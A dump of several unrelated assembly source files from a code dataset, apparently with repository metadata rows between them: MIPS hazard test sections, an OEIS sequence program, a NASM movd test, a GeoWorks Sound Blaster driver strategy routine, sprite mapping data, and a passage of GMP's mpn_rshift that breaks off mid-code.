sec3:
nop
nop
mfhi $6
subu $4,$6,$2
sec4:
nop
nop
lh $6,4($0)
subu $5,$6,$2
sec5:
nop
or $2,$3,$3
nop
subu $3,$6,$2
sec6:
nop
or $2,$4,$5
or $6,$3,$1
subu $2,$6,$2
sec7:
nop
nor $2,$3,$3
ori $6,$1,23525
subu $0,$6,$2
sec8:
nop
slt $2,$3,$2
mflo $6
subu $3,$6,$2
sec9:
nop
or $2,$0,$4
lhu $6,0($0)
subu $3,$6,$2
sec10:
nop
lui $2,12693
nop
subu $5,$6,$2
sec11:
nop
slti $2,$6,2972
xor $6,$2,$1
subu $6,$6,$2
sec12:
nop
sltiu $2,$3,6497
andi $6,$2,12791
subu $2,$6,$2
sec13:
nop
andi $2,$6,10566
mfhi $6
subu $3,$6,$2
sec14:
nop
sltiu $2,$0,13390
lbu $6,8($0)
subu $4,$6,$2
sec15:
nop
mfhi $2
nop
subu $0,$6,$2
sec16:
nop
mfhi $2
sltu $6,$4,$5
subu $4,$6,$2
sec17:
nop
mfhi $2
xori $6,$2,38681
subu $4,$6,$2
sec18:
nop
mflo $2
mfhi $6
subu $2,$6,$2
sec19:
nop
mfhi $2
lw $6,4($0)
subu $4,$6,$2
sec20:
nop
lhu $2,14($0)
nop
subu $3,$6,$2
sec21:
nop
lhu $2,4($0)
sltu $6,$3,$0
subu $5,$6,$2
sec22:
nop
lh $2,8($0)
sltiu $6,$4,19507
subu $2,$6,$2
sec23:
nop
lw $2,16($0)
mfhi $6
subu $2,$6,$2
sec24:
nop
lbu $2,13($0)
lw $6,0($0)
subu $4,$6,$2
sec25:
sltu $6,$5,$4
nop
nop
subu $5,$6,$2
sec26:
addu $6,$2,$3
nop
addu $6,$2,$2
subu $3,$6,$2
sec27:
nor $6,$2,$3
nop
addiu $6,$4,-1640
subu $1,$6,$2
sec28:
xor $6,$2,$4
nop
mfhi $6
subu $6,$6,$2
sec29:
sltu $6,$4,$3
nop
lhu $6,8($0)
subu $2,$6,$2
sec30:
slt $6,$2,$1
sltu $2,$4,$2
nop
subu $6,$6,$2
sec31:
and $6,$0,$4
slt $2,$2,$2
nor $6,$4,$2
subu $0,$6,$2
sec32:
xor $6,$2,$4
addu $2,$4,$2
addiu $6,$3,28983
subu $5,$6,$2
sec33:
or $6,$3,$3
and $2,$3,$5
mflo $6
subu $1,$6,$2
sec34:
sltu $6,$3,$3
subu $2,$3,$3
lb $6,15($0)
subu $5,$6,$2
sec35:
slt $6,$0,$0
ori $2,$6,61432
nop
subu $3,$6,$2
sec36:
xor $6,$2,$4
lui $2,41944
slt $6,$6,$4
subu $1,$6,$2
sec37:
or $6,$3,$4
andi $2,$4,28782
ori $6,$1,42322
subu $1,$6,$2
sec38:
xor $6,$0,$2
ori $2,$3,22053
mflo $6
subu $1,$6,$2
sec39:
sltu $6,$5,$6
sltiu $2,$0,-28528
lhu $6,16($0)
subu $3,$6,$2
sec40:
xor $6,$4,$3
mflo $2
nop
subu $5,$6,$2
sec41:
xor $6,$2,$3
mfhi $2
addu $6,$0,$2
subu $4,$6,$2
sec42:
addu $6,$2,$5
mflo $2
lui $6,56085
subu $1,$6,$2
sec43:
xor $6,$4,$6
mflo $2
mflo $6
subu $1,$6,$2
sec44:
slt $6,$6,$4
mflo $2
lhu $6,6($0)
subu $2,$6,$2
sec45:
xor $6,$1,$3
lbu $2,16($0)
nop
subu $2,$6,$2
sec46:
or $6,$6,$4
lw $2,16($0)
xor $6,$5,$2
subu $0,$6,$2
sec47:
subu $6,$0,$4
lh $2,12($0)
ori $6,$0,31910
subu $4,$6,$2
sec48:
or $6,$0,$5
lh $2,10($0)
mflo $6
subu $3,$6,$2
sec49:
and $6,$3,$5
lbu $2,6($0)
lhu $6,12($0)
subu $3,$6,$2
sec50:
andi $6,$2,33969
nop
nop
subu $3,$6,$2
sec51:
ori $6,$6,48338
nop
subu $6,$1,$6
subu $2,$6,$2
sec52:
lui $6,17953
nop
sltiu $6,$5,-19741
subu $5,$6,$2
sec53:
ori $6,$1,48604
nop
mflo $6
subu $5,$6,$2
sec54:
ori $6,$3,58750
nop
lbu $6,14($0)
subu $3,$6,$2
sec55:
ori $6,$4,7043
subu $2,$1,$2
nop
subu $6,$6,$2
sec56:
andi $6,$2,43740
or $2,$5,$4
slt $6,$2,$4
subu $4,$6,$2
sec57:
sltiu $6,$5,-31130
subu $2,$3,$1
ori $6,$4,27352
subu $1,$6,$2
sec58:
slti $6,$1,-30856
or $2,$3,$5
mfhi $6
subu $4,$6,$2
sec59:
slti $6,$4,-25882
xor $2,$5,$4
lb $6,4($0)
subu $5,$6,$2
sec60:
andi $6,$4,4901
lui $2,58361
nop
subu $3,$6,$2
sec61:
slti $6,$1,29556
slti $2,$2,3587
subu $6,$2,$1
subu $5,$6,$2
sec62:
andi $6,$3,57201
addiu $2,$2,27533
ori $6,$0,39380
subu $4,$6,$2
sec63:
lui $6,38207
lui $2,10318
mflo $6
subu $3,$6,$2
sec64:
andi $6,$5,2052
ori $2,$6,51978
lw $6,4($0)
subu $4,$6,$2
sec65:
ori $6,$1,38100
mflo $2
nop
subu $3,$6,$2
sec66:
slti $6,$3,27304
mflo $2
addu $6,$5,$1
subu $5,$6,$2
sec67:
addiu $6,$5,-31862
mflo $2
slti $6,$5,-29636
subu $4,$6,$2
sec68:
lui $6,52869
mflo $2
mflo $6
subu $4,$6,$2
sec69:
andi $6,$2,3092
mfhi $2
lh $6,8($0)
subu $3,$6,$2
sec70:
sltiu $6,$2,-18971
lw $2,0($0)
nop
subu $2,$6,$2
sec71:
xori $6,$2,51179
lbu $2,9($0)
and $6,$5,$4
subu $2,$6,$2
sec72:
slti $6,$4,22776
lh $2,0($0)
addiu $6,$3,-26484
subu $3,$6,$2
sec73:
ori $6,$4,33941
lbu $2,12($0)
mfhi $6
subu $3,$6,$2
sec74:
xori $6,$2,19395
lbu $2,16($0)
lw $6,16($0)
subu $2,$6,$2
sec75:
mflo $6
nop
nop
subu $6,$6,$2
sec76:
mflo $6
nop
addu $6,$3,$1
subu $4,$6,$2
sec77:
mflo $6
nop
lui $6,45702
subu $3,$6,$2
sec78:
mfhi $6
nop
mfhi $6
subu $4,$6,$2
sec79:
mflo $6
nop
lbu $6,15($0)
subu $2,$6,$2
sec80:
mflo $6
xor $2,$0,$2
nop
subu $0,$6,$2
sec81:
mflo $6
sltu $2,$0,$5
or $6,$3,$2
subu $4,$6,$2
sec82:
mflo $6
subu $2,$2,$2
addiu $6,$3,22041
subu $3,$6,$2
sec83:
mfhi $6
subu $2,$0,$0
mfhi $6
subu $3,$6,$2
sec84:
mfhi $6
sltu $2,$5,$2
lbu $6,2($0)
subu $4,$6,$2
sec85:
mfhi $6
andi $2,$4,45414
nop
subu $2,$6,$2
sec86:
mflo $6
sltiu $2,$2,-30621
slt $6,$3,$2
subu $4,$6,$2
sec87:
mfhi $6
xori $2,$4,10789
addiu $6,$3,-20462
subu $3,$6,$2
sec88:
mflo $6
addiu $2,$3,27139
mflo $6
subu $2,$6,$2
sec89:
mflo $6
lui $2,62182
lhu $6,4($0)
subu $5,$6,$2
sec90:
mfhi $6
mfhi $2
nop
subu $1,$6,$2
sec91:
mfhi $6
mflo $2
slt $6,$3,$1
subu $5,$6,$2
sec92:
mflo $6
mflo $2
xori $6,$4,8460
subu $3,$6,$2
sec93:
mflo $6
mflo $2
mfhi $6
subu $1,$6,$2
sec94:
mfhi $6
mflo $2
lhu $6,12($0)
subu $3,$6,$2
sec95:
mfhi $6
lw $2,12($0)
nop
subu $4,$6,$2
sec96:
mfhi $6
lb $2,2($0)
subu $6,$3,$5
subu $2,$6,$2
sec97:
mfhi $6
lb $2,14($0)
xori $6,$5,34230
subu $5,$6,$2
sec98:
mflo $6
lb $2,10($0)
mfhi $6
subu $3,$6,$2
sec99:
mfhi $6
lh $2,16($0)
lb $6,15($0)
subu $5,$6,$2
sec100:
lb $6,11($0)
nop
nop
subu $5,$6,$2
sec101:
lhu $6,10($0)
nop
addu $6,$5,$3
subu $3,$6,$2
sec102:
lw $6,16($0)
nop
addiu $6,$3,-22920
subu $2,$6,$2
sec103:
lhu $6,0($0)
nop
mflo $6
subu $6,$6,$2
sec104:
lb $6,5($0)
nop
lb $6,2($0)
subu $1,$6,$2
sec105:
lh $6,0($0)
xor $2,$2,$4
nop
subu $1,$6,$2
sec106:
lb $6,9($0)
xor $2,$3,$5
nor $6,$5,$3
subu $6,$6,$2
sec107:
lhu $6,14($0)
subu $2,$4,$1
sltiu $6,$0,-19049
subu $1,$6,$2
sec108:
lh $6,10($0)
addu $2,$1,$2
mfhi $6
subu $3,$6,$2
sec109:
lb $6,13($0)
sltu $2,$5,$4
lw $6,8($0)
subu $2,$6,$2
sec110:
lb $6,15($0)
addiu $2,$0,32502
nop
subu $1,$6,$2
sec111:
lw $6,0($0)
slti $2,$3,-18913
nor $6,$5,$1
subu $0,$6,$2
sec112:
lb $6,14($0)
andi $2,$1,40237
addiu $6,$4,23813
subu $6,$6,$2
sec113:
lw $6,12($0)
lui $2,45938
mflo $6
subu $0,$6,$2
sec114:
lbu $6,14($0)
xori $2,$4,26687
lbu $6,0($0)
subu $1,$6,$2
sec115:
lw $6,4($0)
mflo $2
nop
subu $4,$6,$2
sec116:
lw $6,0($0)
mflo $2
xor $6,$3,$1
subu $6,$6,$2
sec117:
lhu $6,6($0)
mfhi $2
lui $6,39764
subu $3,$6,$2
sec118:
lhu $6,4($0)
mfhi $2
mfhi $6
subu $3,$6,$2
sec119:
lbu $6,3($0)
mfhi $2
lhu $6,12($0)
subu $3,$6,$2
sec120:
lhu $6,12($0)
lw $2,8($0)
nop
subu $4,$6,$2
sec121:
lh $6,12($0)
lb $2,16($0)
sltu $6,$1,$4
subu $4,$6,$2
sec122:
lw $6,12($0)
lh $2,16($0)
lui $6,2342
subu $3,$6,$2
sec123:
lw $6,0($0)
lw $2,4($0)
mflo $6
subu $4,$6,$2
sec124:
lhu $6,8($0)
lb $2,12($0)
lhu $6,8($0)
subu $4,$6,$2
| 11.603125 | 19 | 0.531242 |
d390156b6c555c2e8021a27b3e9cffab76c16517 | 284 | asm | Assembly | programs/oeis/155/A155638.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/155/A155638.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/155/A155638.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A155638: 11^n+5^n-1^n
; 1,15,145,1455,15265,164175,1787185,19565295,214749505,2359900815,25947190225,285360498735,3138672517345,34523932847055,379755937098865,4177278686993775,45949882451462785,505447791438746895
mov $1,5
pow $1,$0
mov $2,11
pow $2,$0
add $1,$2
mov $0,$1
sub $0,1
| 25.818182 | 190 | 0.778169 |
a0af48934b84a39757d951be44a34ee95fd4a736 | 229 | asm | Assembly | test/movd64.asm | bitwiseworks/nasm-os2 | ef78e4ee1ca3220ac3b60a61b084a693b8032ab6 | [
"BSD-2-Clause"
] | 3 | 2015-03-21T07:35:15.000Z | 2018-01-12T01:24:02.000Z | 3rdParties/src/nasm/nasm-2.15.02/test/movd64.asm | blue3k/StormForge | 1557e699a673ae9adcc8f987868139f601ec0887 | [
"Apache-2.0"
] | 1 | 2020-03-26T19:58:54.000Z | 2020-04-24T08:58:04.000Z | test/movd64.asm | bitwiseworks/nasm-os2 | ef78e4ee1ca3220ac3b60a61b084a693b8032ab6 | [
"BSD-2-Clause"
] | 5 | 2015-03-21T07:35:21.000Z | 2021-01-14T10:54:46.000Z | bits 64
movd r8d, mm1
movd r8, mm1
movq r8, mm1
movd [rax], mm1
movq [rax], mm1
movd dword [rax], mm1
; movq dword [rax], mm1
movd qword [rax], mm1
movq qword [rax], mm1
; movd mm2, mm1
movq mm2, mm1
| 14.3125 | 24 | 0.585153 |
49ce91eab41429e0c9bea733d258d95382df8f9a | 340 | asm | Assembly | programs/oeis/130/A130917.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/130/A130917.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/130/A130917.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A130917: a(n) is the sum of the digital roots of all of the previous terms.
; 1,1,2,4,8,16,23,28,29,31,35,43,50,55,56,58,62,70,77,82,83,85,89,97,104,109,110,112,116,124,131,136,137,139,143,151,158,163,164,166,170,178,185,190,191,193,197,205
add $0,3
mov $1,4
lpb $0,1
sub $0,1
mov $2,$1
mod $2,9
add $1,$2
lpe
trn $1,28
add $1,1
| 24.285714 | 164 | 0.65 |
48c43938c7ee0fadb924fb822266573b3df55237 | 7,939 | asm | Assembly | Driver/Sound/SoundBlaster/soundblasterStrategy.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Sound/SoundBlaster/soundblasterStrategy.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Sound/SoundBlaster/soundblasterStrategy.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Sound Driver
FILE: soundblasterStrategy.asm
AUTHOR: Todd Stumpf, Aug 6, 1992
ROUTINES:
Name Description
---- -----------
SoundDriverStrategy The Strategy for the driver
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 8/ 6/92 Initial revision
DESCRIPTION:
The strategy routine for this driver. This driver
supports the Sound Blaster 1.0, Sound Blaster 1.5, and
the Sound Blaster MicroChannel.
As the 2.0 and Pro are downward compatible, it also supports
them as well (actually, they support us, I guess...). But,
since they have extra capabilities that the 1.0, 1.5 and
MC don't, we have a seperate driver for those boards.
$Id: soundblasterStrategy.asm,v 1.1 97/04/18 11:57:40 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;-----------------------------------------------------------------------------
; dgroup DATA
;-----------------------------------------------------------------------------
idata segment
DriverTable DriverExtendedInfoStruct <
<SoundStrategy,
mask DA_HAS_EXTENDED_INFO,
DRIVER_TYPE_SOUND>,
SoundExtendedInfoSegment
>
idata ends
SoundExtendedInfoSegment segment lmem LMEM_TYPE_GENERAL
SoundExtendedDriverInfoTable DriverExtendedInfoTable <
{},
length SoundBoardNames,
offset SoundBoardNames,
offset SoundBoardInfoTable
>
SoundBoardNames lptr.char soundBlaster1_0,
soundBlaster1_5,
soundBlasterMC
lptr.char 0
soundBlaster1_0 chunk.char 'Sound Blaster 1.0',0
soundBlaster1_5 chunk.char 'Sound Blaster 1.5',0
soundBlasterMC chunk.char 'Sound Blaster Micro Channel',0
;
; The one word of data which gets used for all these
; sound devices is as follows:
; Uses timer 2
; Supports synthesized sounds
; Supports sampled sounds
OUR_WORD_OF_DATA equ SoundWordOfData <1,1,1,>
SoundBoardInfoTable word OUR_WORD_OF_DATA, ; SB 1.0
OUR_WORD_OF_DATA, ; SB 1.5
OUR_WORD_OF_DATA ; SB MC
SoundExtendedInfoSegment ends
;-----------------------------------------------------------------------------
; STRATEGY ROUTINE FOR SOUND DRIVER
;-----------------------------------------------------------------------------
ResidentCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SoundStrategy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call the correct driver function when passed a legal
command.
CALLED BY: External
PASS: di -> command
RETURN: see routines
DESTROYED: di
PSEUDO CODE/STRATEGY:
The command is passed in di. Look up the near pointer
to the routine that handles that command in a jump table
and jump to it.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 8/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SoundStrategy proc far
uses ds
.enter
push di ; save command
mov di, segment dgroup ; di <- dgroup of driver
mov ds, di ; ds <- dgroup of driver
pop di ; restore command
cmp di, DRE_SOUND_MIXER_GET_MASTER_VOLUME
jae done
call cs:routineJumpTable[di]
done:
.leave
ret
SoundStrategy endp
routineJumpTable nptr SBDInitBoardNear,
SBDExitDriverNear,
SBDSuspendNear,
SBDUnsuspendNear,
SBDTestDeviceNear,
SBDSetDeviceNear,
SBDDeviceQueryNear,
SBDVoiceOn,
SBDVoiceOff,
SBDVoiceSilence,
SBDChangeEnvelope,
SBDDACAttachToStreamNear,
SBDDACDettachFromStreamNear,
SBDDACSetSample,
SBDDACCheckSample,
SBDDACResetADPCM,
SBDDACFlushDACNear
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SBD...Near
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: A near routine to make a far call through
CALLED BY: Strategy Routine
PASS: <see routine>
RETURN: <see routine>
DESTROYED: nothing
SIDE EFFECTS:
<see routine>
PSEUDO CODE/STRATEGY:
There are a couple of routines which don't need
to remain resident at all times. There are many
way to call such routines, but to make calling
the other routines as fast as possible (and the
other routines are time-critical rouines that
get called at interrupt time...), we do near
calls to everything.
Since some of the routines are not in this code
segment, however, we are actualy doing near
calls to routines which to Far calls to the
routines.
Get it?
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 1/15/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SBDInitBoardNear proc near
call SBDInitBoard
ret
SBDInitBoardNear endp
SBDExitDriverNear proc near
call SBDExitDriver
ret
SBDExitDriverNear endp
SBDSuspendNear proc near
call SBDSuspend
ret
SBDSuspendNear endp
SBDUnsuspendNear proc near
call SBDUnsuspend
ret
SBDUnsuspendNear endp
SBDTestDeviceNear proc near
call SBDTestDevice
ret
SBDTestDeviceNear endp
SBDSetDeviceNear proc near
call SBDSetDevice
ret
SBDSetDeviceNear endp
SBDDeviceQueryNear proc near
call SBDDeviceQuery
ret
SBDDeviceQueryNear endp
SBDDACAttachToStreamNear proc near
call SBDDACAttachToStream
ret
SBDDACAttachToStreamNear endp
SBDDACDettachFromStreamNear proc near
call SBDDACDettachFromStream
ret
SBDDACDettachFromStreamNear endp
SBDDACFlushDACNear proc near
call SBDDACFlushDAC
ret
SBDDACFlushDACNear endp
ResidentCode ends
LoadableCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SBDDeviceQuery
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the capabilities of the sound device selected
CALLED BY: Strategy Routine
PASS: ds -> dgroup of driver
RETURN: ax <- # of individual FM voices available
dx <- # of DAC devices on the board
bx <- native SoundEnvelopeFormat
cx <- SoundDriverCapability
di <- SoundDriverDACCapability
bp:si <- Stream driver strategy routine to use
DESTROYED: nothing
SIDE EFFECTS:
none
PSEUDO CODE/STRATEGY:
load up the proper register and return.
This is very simple only because all the FM chips
are the same on all the current SoundBlaster boards.
Once they come out with a new chip, well, then it
might get a little more hairy.
The SoundDriverCapability currently is:
Doesn't support noise generation (which is odd...)
SDWFC = SELECT -
There are four differnt wave forms on the FM chip.
SDTC = MODULATOR -
The board can actually do a selective wave form
by using the 18 cells additively, but the
driver does not operate that way (yet...)
SDEC = ADSR -
Attack/Decay/Sustain/Release. That's all she
wrote.
The SoundDriverDACCapability currently is:
SDDACC_DMA = does DMA transfer
SDDACC_INT = generates INT after transfer
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 9/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SBDDeviceQuery proc far
.enter
mov ax, ds:[numOfVoices] ; 9 or 20 voices
mov dx, ds:[numOfDACs] ; 1 8-bit DAC
mov bx, SEF_SBI_FORMAT ; SBIData, if possible
mov cx, SoundDriverCapability <SDNC_NO_NOISE,
SDWFC_SELECT,
SDTC_MODULATOR,
SDEC_ADSR,>
mov di, SoundDriverDACCapability <1,1,>
clrdw bpsi
.leave
ret
SBDDeviceQuery endp
LoadableCode ends
| 25.527331 | 79 | 0.609523 |
5764c85b4833f71a56db307659ba2397bc37842e | 719 | asm | Assembly | Working Disassembly/Levels/AIZ/Misc Object Data/Map - Falling Log Splash.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | 5 | 2021-07-09T08:17:56.000Z | 2022-02-27T19:57:47.000Z | Working Disassembly/Levels/AIZ/Misc Object Data/Map - Falling Log Splash.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | null | null | null | Working Disassembly/Levels/AIZ/Misc Object Data/Map - Falling Log Splash.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 7e8a2c5df02271615ff4cae529521e6b1560d6b1 | [
"Apache-2.0"
] | null | null | null | Map_22AEB0_: dc.w Frame_22AEB8-Map_22AEB0_
dc.w Frame_22AED2-Map_22AEB0_
dc.w Frame_22AEEC-Map_22AEB0_
dc.w Frame_22AF06-Map_22AEB0_
Frame_22AEB8: dc.w 4
dc.b $F0, 7, 0, $C,$FF,$E0
dc.b $F0, 9, 0,$14,$FF,$F0
dc.b $F0, 7, 8, $C, 0,$10
dc.b 0, 9, 0,$1A,$FF,$F0
Frame_22AED2: dc.w 4
dc.b $F0, 7,$18, $C, 0,$10
dc.b 0, 9,$18,$14,$FF,$F8
dc.b $F0, 7,$10, $C,$FF,$E0
dc.b $F0, 9,$18,$1A,$FF,$F8
Frame_22AEEC: dc.w 4
dc.b $F0, 7, 0,$20,$FF,$E0
dc.b $F0, 9, 8,$1A,$FF,$F0
dc.b $F0, 7, 8,$20, 0,$10
dc.b 0, 9, 8,$14,$FF,$F0
Frame_22AF06: dc.w 4
dc.b $F0, 7,$18,$20, 0,$10
dc.b 0, 9,$10,$1A,$FF,$F8
dc.b $F0, 7,$10,$20,$FF,$E0
dc.b $F0, 9,$10,$14,$FF,$F8
| 28.76 | 42 | 0.532684 |
abb546cd5bc4f9ed3cff15cf9487bad12c89c843 | 9,415 | asm | Assembly | decreasoner.macosx/software/relsat-dist/gmp-3.1/mpn/x86/k7/mmx/rshift.asm | problem-frames/openpf | 55100bd9cca61a182fc00cd3818bd59a6343ae6e | [
"BSD-3-Clause"
] | 1 | 2019-05-03T20:03:11.000Z | 2019-05-03T20:03:11.000Z | decreasoner.x86/software/relsat-dist/gmp-3.1/mpn/x86/k7/mmx/rshift.asm | problem-frames/openpf | 55100bd9cca61a182fc00cd3818bd59a6343ae6e | [
"BSD-3-Clause"
] | null | null | null | decreasoner.x86/software/relsat-dist/gmp-3.1/mpn/x86/k7/mmx/rshift.asm | problem-frames/openpf | 55100bd9cca61a182fc00cd3818bd59a6343ae6e | [
"BSD-3-Clause"
] | null | null | null | dnl AMD K7 mpn_rshift -- mpn right shift.
dnl
dnl K7: 1.21 cycles/limb (at 16 limbs/loop).
dnl Copyright (C) 1999, 2000 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 2.1 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public
dnl License along with the GNU MP Library; see the file COPYING.LIB. If
dnl not, write to the Free Software Foundation, Inc., 59 Temple Place -
dnl Suite 330, Boston, MA 02111-1307, USA.
include(`../config.m4')
dnl K7: UNROLL_COUNT cycles/limb
dnl 4 1.51
dnl 8 1.26
dnl 16 1.21
dnl 32 1.2
dnl Maximum possible with the current code is 64.
deflit(UNROLL_COUNT, 16)
C mp_limb_t mpn_rshift (mp_ptr dst, mp_srcptr src, mp_size_t size,
C unsigned shift);
C
C Shift src,size right by shift many bits and store the result in dst,size.
C Zeros are shifted in at the left. The bits shifted out at the right are
C the return value.
C
C This code uses 64-bit MMX operations, which makes it possible to handle
C two limbs at a time, for a theoretical 1.0 cycles/limb. Plain integer
C code, on the other hand, suffers from shrd being a vector path decode and
C running at 3 cycles back-to-back.
C
C Full speed depends on source and destination being aligned, and some hairy
C setups and finish-ups are done to arrange this for the loop.
ifdef(`PIC',`
deflit(UNROLL_THRESHOLD, 10)
',`
deflit(UNROLL_THRESHOLD, 10)
')
defframe(PARAM_SHIFT,16)
defframe(PARAM_SIZE, 12)
defframe(PARAM_SRC, 8)
defframe(PARAM_DST, 4)
defframe(SAVE_EDI, -4)
defframe(SAVE_ESI, -8)
defframe(SAVE_EBX, -12)
deflit(SAVE_SIZE, 12)
.text
ALIGN(32)
PROLOGUE(mpn_rshift)
deflit(`FRAME',0)
movl PARAM_SIZE, %eax
movl PARAM_SRC, %edx
subl $SAVE_SIZE, %esp
deflit(`FRAME',SAVE_SIZE)
movl PARAM_SHIFT, %ecx
movl %edi, SAVE_EDI
movl PARAM_DST, %edi
decl %eax
jnz L(more_than_one_limb)
movl (%edx), %edx C src limb
shrdl( %cl, %edx, %eax) C eax was decremented to zero
shrl %cl, %edx
movl %edx, (%edi) C dst limb
movl SAVE_EDI, %edi
addl $SAVE_SIZE, %esp
ret
C -----------------------------------------------------------------------------
L(more_than_one_limb):
C eax size-1
C ebx
C ecx shift
C edx src
C esi
C edi dst
C ebp
movd PARAM_SHIFT, %mm6 C rshift
movd (%edx), %mm5 C src low limb
cmp $UNROLL_THRESHOLD-1, %eax
jae L(unroll)
leal (%edx,%eax,4), %edx C &src[size-1]
leal -4(%edi,%eax,4), %edi C &dst[size-2]
movd (%edx), %mm4 C src high limb
negl %eax
L(simple_top):
C eax loop counter, limbs, negative
C ebx
C ecx shift
C edx carry
C edx &src[size-1]
C edi &dst[size-2]
C ebp
C
C mm0 scratch
C mm4 src high limb
C mm5 src low limb
C mm6 shift
movq (%edx,%eax,4), %mm0
incl %eax
psrlq %mm6, %mm0
movd %mm0, (%edi,%eax,4)
jnz L(simple_top)
psllq $32, %mm5
psrlq %mm6, %mm4
psrlq %mm6, %mm5
movd %mm4, 4(%edi) C dst high limb
movd %mm5, %eax C return value
movl SAVE_EDI, %edi
addl $SAVE_SIZE, %esp
emms
ret
C -----------------------------------------------------------------------------
ALIGN(16)
L(unroll):
C eax size-1
C ebx
C ecx shift
C edx src
C esi
C edi dst
C ebp
C
C mm5 src low limb
C mm6 rshift
testb $4, %dl
movl %esi, SAVE_ESI
movl %ebx, SAVE_EBX
psllq $32, %mm5
jz L(start_src_aligned)
C src isn't aligned, process low limb separately (marked xxx) and
C step src and dst by one limb, making src aligned.
C
C source edx
C --+-------+-------+-------+
C | xxx |
C --+-------+-------+-------+
C 4mod8 0mod8 4mod8
C
C dest edi
C --+-------+-------+
C | | xxx |
C --+-------+-------+
movq (%edx), %mm0 C src low two limbs
addl $4, %edx
movl %eax, PARAM_SIZE C size-1
addl $4, %edi
decl %eax C size-2 is new size-1
psrlq %mm6, %mm0
movl %edi, PARAM_DST C new dst
movd %mm0, -4(%edi)
L(start_src_aligned):
movq (%edx), %mm1 C src low two limbs
decl %eax C size-2, two last limbs handled at end
testl $4, %edi
psrlq %mm6, %mm5
jz L(start_dst_aligned)
C dst isn't aligned, add 4 to make it so, and pretend the shift is
C 32 bits extra. Low limb of dst (marked xxx) handled here separately.
C
C source edx
C --+-------+-------+
C | mm1 |
C --+-------+-------+
C 4mod8 0mod8
C
C dest edi
C --+-------+-------+-------+
C | xxx |
C --+-------+-------+-------+
C 4mod8 0mod8 4mod8
movq %mm1, %mm0
psrlq %mm6, %mm1
addl $32, %ecx C shift+32
movd %mm1, (%edi)
movq %mm0, %mm1
addl $4, %edi C new dst
movd %ecx, %mm6
L(start_dst_aligned):
movq %mm1, %mm2 C copy of src low two limbs
negl %ecx
andl $-2, %eax C round size down to even
movl %eax, %ebx
